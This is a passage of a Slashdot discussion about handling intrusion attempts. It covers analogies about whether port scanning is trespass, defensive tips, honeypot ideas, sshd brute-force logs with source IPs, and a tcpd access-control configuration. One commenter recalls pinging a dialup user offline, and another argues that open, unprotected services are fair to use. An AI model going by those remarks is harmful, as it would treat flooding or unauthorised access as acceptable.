    It doesn't scale and it doesn't help. It is far better to spend your network admin's time on making your systems ever more impervious to attack, and if she has any time left over, to teach others how to do likewise. Ultimately, if all sites are securely tied down then it doesn't matter what the cracker kiddies are doing.

    --
    "The question of whether machines can think is no more interesting than [] whether submarines can swim" - Dijkstra
  61. Re:Ignoring it == raising criminals by Uzik2 · · Score: 2, Insightful

    > Personally I am the view point that if you have a port open with a service that is easily accessible without a password, or the default password, (like NFS, say) then anybody using it is not in the wrong, as how are they to tell that the service is not intended for the public especially since it is on the PUBLIC internet

    If you have a radio controlled garage door opener
    and someone drives by your house, transmits all
    the possible codes sequentially, opens your garage
    door and starts looking through your stuff
    would you say 'because I didn't buy a sufficiently
    advanced garage door opener or engineer my own
    I invited the public into my garage'. Of course
    you wouldn't. Their intent is obviously to
    commit a crime.

    --
    -- Programming with boost is like building a house with lego. It's a cool but I wouldn't want to live in it
  62. Comment removed by account_deleted · · Score: 3, Insightful

    Comment removed based on user account deletion

  63. Document Everything by catdevnull · · Score: 4, Informative

    Data integrity is more important than catching them. Rememeber that first.

    1) Make notes about what you've found
    2) Report the the abuse as per the WHOIS info for the offenders
    3) Block their IPs at your border

    If you're using a firewall, great. If not--get one.
    If you haven't read Frisch's "Essential System Admnistration" read it:
    http://www.oreilly.com/catalog/esa3/index.html

    If you haven't read Stephen Northcutt's "Network Intrusion Detection" you should probably give it a good read as well:
    http://www.amazon.com/exec/obidos/tg/detail/-/0735 708681/104-7409931-6853536?v=glance

    There are some good articles all over the web regarding Linux security. A few google searches will help uncover them.

    Patch. It's not just for Windows.

    Limit services with ACLs and host restriction.

    Harden your system by partitioning read/write slices away from static mountpoints where your binaries are by mounting the read only ones as read only.

    chattr +i on your binaries--makes it tougher for skript kiddies.

    Talk to other admins--every day is a school day.

    AND

    Face the fact that you're not as smart as the crackers so you just have to create layers of security that keep you from being an easy target.

    --

    I might know what I'm talkin' about, but then again, this is Slashdot...
  64. Upstream blocking by Etherael · · Score: 2, Interesting

    It would be nice to adopt a routing protocol extension where you could ask an upstream router to block packets meeting a given criteria (*only to yourself, of course*). This would destroy DDOS attacks, which are currently the only really unstoppable attacks in existance, say you're getting flooded by ICMP from 250 hosts, and you just tell the upstream router to block ICMP traffic from the hosts in question (or for convenience sake, altogether, whatever really) It'd pretty much leave you scot free, in fact if it was extended further, DDOS zombies might get to the point that all their outbound traffic was blocked at their closest non controlled router point, which might clue in the users as to the status of their machines.

    Patent Pending!

  65. port scan != casing the joint by Ayanami+Rei · · Score: 4, Insightful

    Casing the joint would be when you then attempt to connect to each open port in turn, and try to verify the version of the server running on each port, perhaps by submitting malformed requests and looking for characteristic responses.

    That would be indicitave of someone trying to find a way in.

    --
    THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
    1. Re:port scan != casing the joint by Entropius · · Score: 5, Insightful

      Port scanning is akin to looking to see what doors the house has, if any are open, and if any have "LEMONADE SOLD INSIDE" signs on them.

      If you find a machine with port 139 (or whatever the netbios port on it) open, and they've got their C drive shared, don't touch--it wasn't meant for you.

      If you find a machine with port 80 open, then you're not doing any harm to pull http://xxx.xxx.xxx.xxx/index.html and see what lives there.

      Common sense and common courtesy are really all it takes: if it looks like someone meant to make something accessible, then use it. If someone takes any steps to secure something (even if they're ineffective) or wouldn't be offering it if they knew what they were doing (like the shared C drive), stay away.

  66. Post IPs! by Bobzibub · · Score: 3, Informative

    What the hell! Why not?

    Aug 12 05:08:28 pokey sshd[7534]: Illegal user test from ::ffff:203.186.65.92
    Aug 12 05:08:31 pokey sshd[7534]: Failed password for illegal user test from ::ffff:203.186.65.92 port 4570 ssh2
    Aug 12 10:51:33 pokey sshd[7615]: Illegal user test from ::ffff:217.115.83.1
    Aug 12 10:51:35 pokey sshd[7615]: Failed password for illegal user test from ::ffff:217.115.83.1 port 39378 ssh2
    Aug 12 10:51:39 pokey sshd[7617]: Illegal user guest from ::ffff:217.115.83.1
    Aug 12 10:51:41 pokey sshd[7617]: Failed password for illegal user guest from ::ffff:217.115.83.1 port 39462 ssh2
    Aug 12 10:51:48 pokey sshd[7619]: Illegal user admin from ::ffff:217.115.83.1
    Aug 12 10:51:50 pokey sshd[7619]: Failed password for illegal user admin from ::ffff:217.115.83.1 port 39609 ssh2
    Aug 12 10:51:54 pokey sshd[7621]: Illegal user admin from ::ffff:217.115.83.1
    Aug 12 10:51:57 pokey sshd[7621]: Failed password for illegal user admin from ::ffff:217.115.83.1 port 39742 ssh2
    Aug 12 10:52:01 pokey sshd[7623]: Illegal user user from ::ffff:217.115.83.1
    Aug 12 10:52:03 pokey sshd[7623]: Failed password for illegal user user from ::ffff:217.115.83.1 port 39878 ssh2
    Aug 12 10:52:10 pokey sshd[7625]: Failed password for root from ::ffff:217.115.83.1 port 40005 ssh2
    Aug 12 10:52:16 pokey sshd[7627]: Failed password for root from ::ffff:217.115.83.1 port 40145 ssh2
    Aug 12 10:52:23 pokey sshd[7629]: Failed password for root from ::ffff:217.115.83.1 port 40277 ssh2
    Aug 12 10:52:27 pokey sshd[7631]: Illegal user test from ::ffff:217.115.83.1
    Aug 12 10:52:29 pokey sshd[7631]: Failed password for illegal user test from ::ffff:217.115.83.1 port 40412 ssh2
    Aug 12 11:01:41 pokey sshd[7659]: Illegal user test from ::ffff:217.115.83.1
    Aug 12 11:01:44 pokey sshd[7659]: Failed password for illegal user test from ::ffff:217.115.83.1 port 49595 ssh2
    Aug 12 11:01:48 pokey sshd[7661]: Illegal user guest from ::ffff:217.115.83.1
    Aug 12 11:01:50 pokey sshd[7661]: Failed password for illegal user guest from ::ffff:217.115.83.1 port 49726 ssh2
    Aug 12 11:01:54 pokey sshd[7663]: Illegal user admin from ::ffff:217.115.83.1
    Aug 12 11:01:57 pokey sshd[7663]: Failed password for illegal user admin from ::ffff:217.115.83.1 port 49861 ssh2
    Aug 12 11:02:01 pokey sshd[7665]: Illegal user admin from ::ffff:217.115.83.1
    Aug 12 11:02:03 pokey sshd[7665]: Failed password for illegal user admin from ::ffff:217.115.83.1 port 49983 ssh2
    Aug 12 11:02:07 pokey sshd[7667]: Illegal user user from ::ffff:217.115.83.1
    Aug 12 11:02:10 pokey sshd[7667]: Failed password for illegal user user from ::ffff:217.115.83.1 port 50117 ssh2
    Aug 12 11:02:16 pokey sshd[7669]: Failed password for root from ::ffff:217.115.83.1 port 50257 ssh2
    Aug 12 11:02:22 pokey sshd[7671]: Failed password for root from ::ffff:217.115.83.1 port 50398 ssh2
    Aug 12 11:02:29 pokey sshd[7673]: Failed password for root from ::ffff:217.115.83.1 port 50546 ssh2
    Aug 12 11:02:33 pokey sshd[7675]: Illegal user test from ::ffff:217.115.83.1
    Aug 12 11:02:35 pokey sshd[7675]: Failed password for illegal user test from ::ffff:217.115.83.1 port 50678 ssh2
    Aug 12 12:23:19 pokey sshd[7703]: Illegal user test from ::ffff:202.129.52.50
    Aug 12 12:23:22 pokey sshd[7703]: Failed password for illegal user test from ::ffff:202.129.52.50 port 3258 ssh2
    Aug 12 12:23:26 pokey sshd[7705]: Illegal user guest from

  67. There's no porn at http://example.com... by LordPixie · · Score: 2, Funny

    You apparently misstyped the URL of your porn server. Please resend.


    --LordPixie

  68. Breaking in... by jskline · · Score: 3, Informative

    Apparently there is a lot of talk here about involving law enforcement, the law, etc.

    What a lot of you don't know, which I learned via hard knocks, was that unless you are a large corporate entity with gross yearly earnings in excess of $500k, there is NOTHING that you can do with any judge, law enforcement, or the FBI. They simply tell you to "deal with it".

    This is why the issues of hacking and open spam relays, and all the other jazz will never go away, because it's not profitable or should I say; "chargable" under current statutes.

    Good luck!

    --
    All content in this message is copyright (c) 2008. All rights reserved. RIAA is prohibited here.
  69. The real value of a honeypot by DickBreath · · Score: 2, Insightful

    The real value of a honeypot is not a slap in the fact to the hacker.

    The real value is in observing what kinds of attacks are being uses, especially to see if any NEW type of attacks are being used that your real systems may not have been secured against.

    --

    I'll see your senator, and I'll raise you two judges.
  70. Set up a sting. by infosinger · · Score: 2, Interesting

    Why not create a honey pot that is weak enough for them to compromise it? Then you have evidence of a break in and the grounds to prosecute. Assuming you can identify the offender through the ISP you can make some serious threats with definite consequences.

  71. Can you all be more passive-aggressive, please? by CheeseTroll · · Score: 4, Insightful

    Of course you should make your box as secure as possible. Ignoring automated attack attempts is probably the wisest course of action, as well, otherwise you waste a lot of time and only draw more more attention to your network, making it a bigger target.

    But for those intrusion attempts that appear to have a human being on the other end, a virtual smack upside the head would do the world some good. If it's some script kiddie, then let them know their feeble attempts do not go unnoticed, and are by no means appreciated, and chances are they'll find something more constructive to do before they get themselves into real trouble. If it's someone more hardcore, well, I guess it won't matter either way.

    --
    A post a day keeps productivity at bay.
  72. Companies don't care. by dougmc · · Score: 4, Informative
    I've had problems with this a lot myself. Not intrusion attempts, but DDoS attacks. Apparantly people want my nickname on IRC, and think that hitting me with a DDoS attack until I drop off is an acceptable way of freeing it up for their own use. It's not so bad when they just go after my cable modem, but they've also gone after the place that I work at, even when I'm not IRCing from there at the time, and that's much much worse. Also, they often don't attack for the needed ten minutes -- I've had attacks going on for 15 hours, and perhaps even longer but at that point I had the ISP filter out the traffic for me.

    So, being a good guy, I never respond in kind (I could, but 1) it's wrong, 2) it affects more than just the target and 3) I don't feel like going to pound-me-in-the-ass prison), I just log every single packet I can, and when the attack is over find the worst offenders (typically the packets are not spoofed) and use Spamcop and whois to find the responsible parties for each one, and send them all an email.

    Many (most?) emails elicit an automatic response.

    Perhaps 10% get a personalized response, but usually this response says that I should contact the ISP of the offender (when in fact that's exactly what I'm doing.) Perhaps half of the responses I do get say they'll do something about it, which is good -- usually these are compromised drone/zombie machines, and need cleaning anyways.

    Quite often, the attacker is stupid enough to ping my machine from his home machine (so he can see how it's going), not thinking I'll notice that. When this happens, I can also email his home ISP, the people who really know who he is, and the people who can really hit him where it hurts. Except that they ignore my email too, and if they do email me back, they just tell me that the attack did not come from their ISP so they can't do anything, or there's no proof that the pinging is related to the attack.

    Phone calls are much more effective than emails, but you really need to make them during the attack for them to take them seriously. And often the attacks happen outside of business hours, so there's nobody to call. And they're very time consuming.

    Though I did succeed in nailing at least one guy. He was in Romania, and he messaged me a few weeks after the attack basically pleading with me that it wasn't him, but his brother using his computer. Apparantly the police (in Romania) were questioning him, and one of the things they showed him was my email. The police had never contacted me -- I'm guessing that my email was just one of many pieces of evidence they had against the guy. I felt a bit bad for him, but not that bad. Not that I had any control over what was happening to him at that point -- it was out of my hands the moment I sent my email.

    So, if it happens again, I'll do the same thing. I know it's not likely that anything substantial will come from my emails, but there's still a chance. Every time it happens, I know I nail at least some of his compromised machines, and have a chance at getting him. I'll win eventually -- either that, or he'll hit puberty, in which case we both win.

    1. Re:Companies don't care. by whoppers · · Score: 2, Funny

      As an ex-IRC addict, I learned the ping -t and other commands early on, and that a shell account could really whup up someone on a dialup, which was usually me. One time I did start pinging some dialup guy from a shell, when someone on the shell msg'd me asking what I was doing, I replied "none of your business" he replied "goodbye". Dialup and everything dropped as he was the admin. Oh the days of being young, dumb and full piss and vinegar, glad they're over.

  73. Re: "Arabs are white people." by nusratt · · Score: 2, Funny

    "Arabs, technically, are caucasians. They're just curly haired, tanned white people. Not entirely unlike Italians."

    WTF? Italians are white people? ;-)

  74. Well not to sound too stupid But by eadint · · Score: 2, Insightful

    I thought that is why we have routers.
    My routers block all unused ports and use nat. i dont controll the web server so im not sure what goes on there. but i always believed that proper firewall and router configs can stop these kind of things before they start, please correct me if im wrong.

  75. Report it and be Nice by argoff · · Score: 4, Insightful

    Chances are that you are not being directly hacked, but automatically probed by a system already infected with a root-kit installed.

    There are alot of people out there who have no idea that their computer is infected with a root-kit and many would be greatfull to be told so.

  76. I want a honeypot-on-a-disc by Feanturi · · Score: 2, Interesting

    I think it would be neat to have a program that could be easily installed on a box, that would act as the firewall for the system. Traffic that a firewall would normally allow is passed normally. Traffic that would normally be dropped, such as a query to a port that is not open on the firewall, would not be dropped but instead be passed to the honeypot module of the program, and from there responded to in a way set by the user through a scripting interface.

    Example: You aren't running a telnet server on your box, so normally a connection attempt to port 23 would be dropped. Here you set your honeypot controls to engage a script that you have made (or that came pre-packaged with the software) showing them a fake login prompt that looks like whatever software you wish them to think you are using. Script appropriate responses to possible actions the hacker might try, based on what software they think you have. Let them appear to login with 'admin/admin' or whatever, and show them fake file directories and whatnot. Certain often-targetted files could be spoofed so the cracker can actually 'read' them and not be tipped off. Basically have the software fuck with them for awhile before revealing that "it's all been logged you luser, the Matrix has you, disconnect before things get worse"

    You could make a windows box look like anything else to mess with them, if your arsenal of scripts is deep enough. The program could come with a whole whack of pre-defined scripts, and users could create and upload new scripts to a website for others to install in their systems. And when someone installs and runs the program for the first time, they are *forced* to choose a computer name, OS, and other details, so that every out-of-the-box install of this thing doesn't look like every other one out there, making it less easy to detect.

    You'd have to make the main code smart enough to not bother if the intrustion appears to be a worm, otherwise such a machine would likely get pretty bogged down. I don't know how to do any of this, I would just like to have the software.

    Please? Somebody?

  77. Re:Ignoring it == raising criminals by Uzik2 · · Score: 2, Insightful

    > You connect to the public Internet, you open a port to a service, and you allow anyone anywhere to connect to it.

    In the majority of cases this is not true.
    People who use computers as an appliance, the
    majority of Windows users, do not *choose* to
    open ports. They don't know the port is open,
    what a port is, how to close it, nor are they
    presented with the option to NOT run the services
    that open the ports at install time.

    > there's nothing wrong with my entering your house if you've put a sign in your front yard saying "Open House".

    All of the ports marked 'Open House' are already
    quite well known. There's no need to scan for the
    port for the web server. Anyone port scanning
    is NOT looking for an open house sign in my yard,
    they're snooping in my back yard looking for a
    unsecured entrance to break in.

    --
    -- Programming with boost is like building a house with lego. It's a cool but I wouldn't want to live in it
  78. hosts files by i621148 · · Score: 2, Informative

    this will only suppress people trying to get into your various info servers (telnet, ftp etc...) you will still get the vast script kiddie assault every day on port 80. you can allow people you want to connect to you on vpn or other services by adding their static ip to the file.

    hosts.allow
    #
    # hosts.allow This file describes the names of the hosts which are
    # allowed to use the local INET services, as decided
    # by the '/usr/sbin/tcpd' server.
    #

    # Prevent those with no reverse DNS from connecting.
    ALL : PARANOID : RFC931 20 : deny

    # Allow anything from localhost. Note that an IP address (not a host
    # name) *MUST* be specified for portmap(8).
    ALL : 127.0.0.1 : allow
    # internal ip
    ALL : 192.168.1.100 : allow
    ALL : 192.168.1.200 : allow
    ALL : 192.168.1.201 : allow
    ALL : 192.168.1.202 : allow
    ALL : 192.168.1.203 : allow
    ALL : 192.168.1.204 : allow
    ALL : 192.168.1.205 : allow
    ALL : 192.168.1.206 : allow
    ALL : 192.168.1.207 : allow
    ALL : 192.168.1.208 : allow
    ALL : 192.168.1.209 : allow
    ALL : 192.168.1.210 : allow

    # other people you like go here
    ALL : 00.000.000.00 : allow

    # You need to be clever with finger; do _not_ backfinger!! You can easily
    # start a "finger war".
    fingerd : ALL \
    : spawn (echo Finger. | \ /usr/bin/mail -s "tcpd\: %u@%h[%a] fingered me!" root) & \
    : deny

    hosts.deny
    #
    # hosts.deny This file describes the names of the hosts which are
    # *not* allowed to use the local INET services, as decided
    # by the '/usr/sbin/tcpd' server.
    #
    # The portmap line is redundant, but it is left to remind you that
    # the new secure portmap uses hosts.deny and hosts.allow. In particular
    # you should know that NFS uses portmap!

    # The rest of the daemons are protected.
    ALL : ALL \
    : severity auth.info \
    : twist /bin/echo "Eat a dog poop. You are not welcome to use %d from %h..."

  79. adjusted analogy - public vs. private by scruffyMark · · Score: 2, Insightful
    As he pointed out - you're in the public IP space; any services you leave open without password or similar protection are implicitly public. And, even if you do have password protection, and e.g. a banner stating it's a private service, the initial connection attempt is legitimate, since they have to do that to read the banner.

    In the physical-analogy sense, it would be more akin to closing your restaurant without putting up the "closed" sign. When people walk by and try to open the door, you got no business being offended - they're attempting to take advantage of the public service you appear to be offering.

    And if you were really dumb and forgot to lock the door too, you've got no business being upset when they walk in and start wondering where the waiter is.

    --

    What is the robbing of a bank, compared to the founding of a bank? -- Bertolt Brecht

  80. WON"T WORK by losycompresion · · Score: 2, Informative

    not that i'm an expert or anything. But when i've found others doing ill/breaking the law on the net and informed their ISP... The ISP is unwilling to do anything. Unless your the cops with a warrent they do nothing, and if you are the cops with one, all they will do is give you info on the person. The ISP won't do diddely. I Think they should just like you but they won't and don't.